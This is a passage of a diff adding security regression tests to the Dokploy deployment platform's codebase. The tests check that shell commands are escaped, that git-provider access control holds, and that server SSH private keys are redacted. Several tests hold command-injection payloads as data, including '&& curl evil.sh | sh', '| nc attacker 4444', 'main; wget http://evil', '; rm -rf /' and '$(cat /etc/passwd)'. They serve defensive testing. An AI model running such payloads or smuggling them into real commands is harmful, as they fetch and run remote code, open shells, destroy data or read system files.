beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});

View File

@@ -0,0 +1,70 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});

View File

@@ -0,0 +1,104 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});

View File

@@ -0,0 +1,68 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
);
});
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = `
version: "3.8"

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});

View File

@@ -0,0 +1,66 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
for (const p of PAYLOADS) {
const dockerImage = p.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("dockerContextPath (docker-file: cd) is escaped", () => {
for (const p of PAYLOADS) {
const dockerContextPath = p.replace("%MARK%", MARK);
const command = `: cd ${quote([dockerContextPath])}`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
for (const p of PAYLOADS) {
const publishDirectory = p.replace("%MARK%", MARK);
const containerId = "buildabc";
const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
expect(runAndCheckSafe(command)).toBe(true);
}
});
it("keeps a legitimate image / path intact as a single token", () => {
// Escaping may add backslashes (e.g. before ':'), but the shell must parse
// the result back to exactly the original single token.
expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
"registry.io/team/app:tag",
]);
expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
});
});

View File

@@ -0,0 +1,93 @@
import {
decryptValue,
encryptValue,
exportEncryptionKeys,
isEncrypted,
} from "@dokploy/server/lib/encryption";
import { afterEach, describe, expect, it, vi } from "vitest";
describe("encryptValue / decryptValue", () => {
it("round-trips a value", () => {
const value =
"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
const encrypted = encryptValue(value);
expect(encrypted).not.toBe(value);
expect(isEncrypted(encrypted)).toBe(true);
expect(encrypted).not.toContain("secret");
expect(decryptValue(encrypted)).toBe(value);
});
it("uses a random IV so equal inputs produce different ciphertexts", () => {
const value = "KEY=value";
expect(encryptValue(value)).not.toBe(encryptValue(value));
});
it("passes legacy plaintext through on decrypt", () => {
const plaintext = "KEY=legacy-plaintext-value";
expect(decryptValue(plaintext)).toBe(plaintext);
});
it("passes empty values through unchanged", () => {
expect(encryptValue("")).toBe("");
expect(decryptValue("")).toBe("");
});
it("does not double-encrypt an already encrypted value", () => {
const encrypted = encryptValue("KEY=value");
expect(encryptValue(encrypted)).toBe(encrypted);
});
it("throws a descriptive error on tampered ciphertext", () => {
const encrypted = encryptValue("KEY=value");
const tampered = `${encrypted.slice(0, -4)}AAAA`;
expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
});
it("exports the derived keys as 32-byte hex lines for backups", () => {
expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
});
});
describe("dedicated ENCRYPTION_KEY", () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.resetModules();
});
const loadWithEncryptionKey = async (key: string) => {
vi.stubEnv("ENCRYPTION_KEY", key);
vi.resetModules();
return await import("@dokploy/server/lib/encryption");
};
it("encrypts with the dedicated key when set", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const encrypted = withKey.encryptValue("KEY=value");
expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
// The default (auth-secret derived) module cannot read it
expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
});
it("still decrypts legacy values via the auth-secret fallback", async () => {
// Encrypted before the install adopted a dedicated key
const legacyEncrypted = encryptValue("KEY=legacy-value");
const withKey = await loadWithEncryptionKey("my-dedicated-key");
expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
});
it("re-encrypts with the dedicated key on write", async () => {
const withKey = await loadWithEncryptionKey("my-dedicated-key");
const reEncrypted = withKey.encryptValue(
withKey.decryptValue(encryptValue("KEY=migrated")),
);
const other = await loadWithEncryptionKey("another-key");
// Readable only by the dedicated key (or its own fallback), proving
// the write used the primary key, not the legacy one
expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
expect(() => other.decryptValue(reEncrypted)).toThrow();
});
});

View File

@@ -0,0 +1,87 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest";
// Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)",
"`id`",
"; rm -rf /",
"&& curl evil.sh | sh",
"| nc attacker 4444",
"https://github.com/o/r.git$(whoami)",
"main; wget http://evil",
"$(cat /etc/passwd)",
];
// Legit values that must survive escaping unchanged.
const LEGIT_VALUES = [
"main",
"feature/login-v2",
"release-1.2.3",
"https://github.com/dokploy/dokploy.git",
"https://gitlab.example.com/group/sub/project.git",
];
describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead.
expect(parsed).toEqual([payload]);
}
});
it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) {
expect(parse(shellWord(value))).toEqual([value]);
}
});
});
describe("cloneGitRepository command (customGitUrl path)", () => {
const buildClone = (customGitUrl: string, customGitBranch: string) =>
cloneGitRepository({
appName: "demo-app",
customGitUrl,
customGitBranch,
customGitSSHKeyId: null,
enableSubmodules: false,
serverId: null,
type: "application",
});
// A malicious substring, once escaped, must survive parsing as inert literal
// text and never as an executable command/operator. `parse()` turns command
// substitution and control operators into { op } objects, so we assert the
// injected marker only ever shows up inside a plain string token.
const markerLeaksAsShellSyntax = (command: string, marker: string) => {
const tokens = parse(command);
return tokens.some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
};
it("does not let a malicious customGitUrl inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git$(touch /tmp/pwned)",
"main",
);
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).toContain("git clone");
});
it("does not let a malicious customGitBranch inject shell operators", async () => {
const command = await buildClone(
"https://github.com/o/r.git",
"main; touch /tmp/pwned",
);
// The branch is a single quoted token, so its ";" contributes no extra
// operator and `touch` never becomes a runnable statement.
expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
expect(command).not.toContain("touch /tmp/pwned;");
});
});

View File

@@ -1,8 +1,8 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import {
canEditDeployGitSource,
getAccessibleGitProviderIds,
} from "@dokploy/server/services/git-provider";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockDb = vi.hoisted(() => ({
query: {

View File

@@ -0,0 +1,91 @@
import { TRPCError } from "@trpc/server";
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
// assertGitProviderAccess) runs against controlled data. Mocking the exported
// function would NOT intercept the intra-module call, so we mock one layer down.
const mockDb = vi.hoisted(() => ({
query: {
gitProvider: {
findMany: vi.fn(),
},
member: {
findFirst: vi.fn(),
},
},
}));
vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
const mockHasValidLicense = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: mockHasValidLicense,
}));
import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
const ORG = "org-1";
const USER = "user-member";
const session = { userId: USER, activeOrganizationId: ORG };
// Provider owned by USER within ORG -> should be accessible.
const providerMine = {
gitProviderId: "gp-mine",
userId: USER,
sharedWithOrganization: false,
};
// Provider owned by someone else within ORG, not shared, not assigned.
const providerOther = {
gitProviderId: "gp-other",
userId: "user-2",
sharedWithOrganization: false,
};
beforeEach(() => {
vi.clearAllMocks();
mockHasValidLicense.mockResolvedValue(false);
mockDb.query.gitProvider.findMany.mockResolvedValue([
providerMine,
providerOther,
]);
mockDb.query.member.findFirst.mockResolvedValue({
role: "member",
accessedGitProviders: [],
});
});
describe("assertGitProviderAccess (git provider IDOR guard)", () => {
it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-other",
organizationId: ORG,
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("allows a same-org provider the caller owns", async () => {
await expect(
assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: ORG,
}),
).resolves.toBeUndefined();
});
it("throws a TRPCError so tRPC maps the HTTP status", async () => {
const err = await assertGitProviderAccess(session, {
gitProviderId: "gp-mine",
organizationId: "org-2",
}).catch((e) => e);
expect(err).toBeInstanceOf(TRPCError);
});
});

View File

@@ -1,16 +1,11 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const hasValidLicense = vi.fn();
const getWebServerSettings = vi.fn();
const findFirstOrg = vi.fn();
const findFirstServer = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
organization: {
findFirst: (...args: unknown[]) => findFirstOrg(...args),
},
server: {
findFirst: (...args: unknown[]) => findFirstServer(...args),
},
@@ -19,91 +14,56 @@ vi.mock("@dokploy/server/db", () => ({
}));
vi.mock("@dokploy/server/db/schema", () => ({
organization: {},
server: {},
}));
vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
}));
vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
import {
assertBuildsConcurrencyAllowed,
resolveBuildsConcurrency,
} from "../../server/queues/concurrency";
import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
describe("resolveBuildsConcurrency (enterprise gating)", () => {
describe("resolveBuildsConcurrency", () => {
beforeEach(() => {
vi.clearAllMocks();
findFirstOrg.mockResolvedValue({ id: "org-1" });
});
describe("local web server partition", () => {
it("returns the configured concurrency when licensed", async () => {
it("returns the configured concurrency", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
});
it("clamps to the free max (2) when there is no valid license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("allows the free max (2) without a license", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
});
it("does not cap the value when licensed (N allowed)", async () => {
it("does not cap high values", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
999,
);
});
it("floors values below 1 to 1", async () => {
getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
it("defaults to 1 when settings are missing", async () => {
getWebServerSettings.mockResolvedValue(undefined);
hasValidLicense.mockResolvedValue(true);
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("remote server partition", () => {
it("returns the server concurrency when its org is licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 4,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(true);
it("returns the server concurrency", async () => {
findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
expect(hasValidLicense).toHaveBeenCalledWith("org-1");
});
it("clamps to the free max (2) when the server org is not licensed", async () => {
findFirstServer.mockResolvedValue({
buildsConcurrency: 8,
organizationId: "org-1",
});
hasValidLicense.mockResolvedValue(false);
await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
});
it("defaults to 1 for an unknown server", async () => {
@@ -119,30 +79,3 @@ describe("resolveBuildsConcurrency (enterprise gating)", () => {
await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
});
});
describe("assertBuildsConcurrencyAllowed", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it("allows up to the free max (2) without checking the license", async () => {
await expect(
assertBuildsConcurrencyAllowed(2, "org-1"),
).resolves.toBeUndefined();
expect(hasValidLicense).not.toHaveBeenCalled();
});
it("allows more than 2 when licensed", async () => {
hasValidLicense.mockResolvedValue(true);
await expect(
assertBuildsConcurrencyAllowed(5, "org-1"),
).resolves.toBeUndefined();
});
it("rejects more than 2 without a license", async () => {
hasValidLicense.mockResolvedValue(false);
await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
/enterprise license/i,
);
});
});

View File

@@ -0,0 +1,44 @@
import { redactServerSshKey } from "@dokploy/server/services/server";
import { describe, expect, it } from "vitest";
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
it("blanks the private key while keeping the rest of the ssh key intact", () => {
const server = {
serverId: "srv-1",
name: "prod",
sshKey: {
sshKeyId: "key-1",
publicKey: "ssh-ed25519 AAAA...",
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
},
};
const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});

View File

@@ -0,0 +1,104 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
